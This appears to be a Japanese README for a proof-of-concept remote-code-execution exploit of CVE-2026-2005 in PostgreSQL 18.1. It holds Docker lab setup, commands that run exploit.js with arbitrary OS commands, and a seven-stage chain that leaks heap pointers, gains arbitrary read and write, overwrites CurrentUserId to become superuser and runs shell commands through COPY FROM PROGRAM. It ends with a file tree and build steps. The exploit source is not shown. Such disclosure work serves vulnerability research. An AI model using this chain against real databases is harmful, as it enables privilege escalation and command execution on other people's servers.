# PostgreSQL 18.1 (脆弱性あり) をビルドして起動
docker compose up -d --build

# 起動完了を待つ
docker compose logs -f postgres
# "database system is ready to accept connections" が表示されたら Ctrl+C

# 初回セットアップ: オフラインシンボル解析用に postgres バイナリをコピー
docker cp cve-2026-2005-poc:/usr/local/pgsql/bin/postgres ./postgres

# Node 依存関係をインストール
npm install

# 完全な RCE エクスプロイトチェーンを実行 (純粋な SQL — Docker 操作なし)
node exploit.js --cmd "id"

# 詳細出力付き
node exploit.js --cmd "id" --verbose

# カスタムコマンドを実行
node exploit.js --cmd "whoami"

Stage 1: ヒープポインタリーク
  └─ mdst チャンクヘッダを破壊 → pfree() エラーメッセージを解析

Stage 2: 任意読み取り (マルチウィンドウスキャン)
  └─ mdst->data を上書き → リークしたポインタ付近のメモリをスキャン

Stage 3: ポインタ候補の収集
  └─ ヒープダンプからポインタ状の 8 バイト値をスキャン

Stage 4: PIE ベースの解決
  └─ リークしたアドレスを ELF シンボルオフセットと照合 (ページオフセット
     グループ化、オフライン — シンボルはローカルバイナリコピーから解析)

Stage 5: PIE の検証
  └─ 候補ベースで CurrentUserId を任意読み取り → セッション OID と比較

Stage 6: 任意書き込み
  └─ msrc + mdst MBuf を偽造 → CurrentUserId を上書き → 10 (スーパーユーザー)

Stage 7: コマンド実行
  └─ COPY FROM PROGRAM → postgres ユーザーとして任意の OS コマンドを実行

CVE-2026-2005/
├── Dockerfile              # ソースから PostgreSQL 18.1 をビルド
├── docker-compose.yml      # 自動再起動付き PostgreSQL サービス
├── init.sh                 # エントリポイント — initdb + リスニング設定
├── README.md               # このファイル
└── poc/
    ├── package.json        # Node.js 依存関係 (pg)
    ├── exploit.js          # 完全な 7 段階 RCE エクスプロイト (Node.js)
    ├── verify.sh           # シェルベースのクイック検証
    └── test-pgcrypto.sql   # pgcrypto 読み込みの SQL のみのテスト

git clone https://github.com/postgres/postgres.git
cd postgres
git checkout 4b324845ba5d24682b9b3708a769f00d160afbd7
./configure \
    --prefix="$HOME/projects/pg/pgsql" \
    --with-libxml \
    --with-libxslt \
    --enable-debug \
    --with-ssl=openssl
make -j$(nproc)
make install-world-bin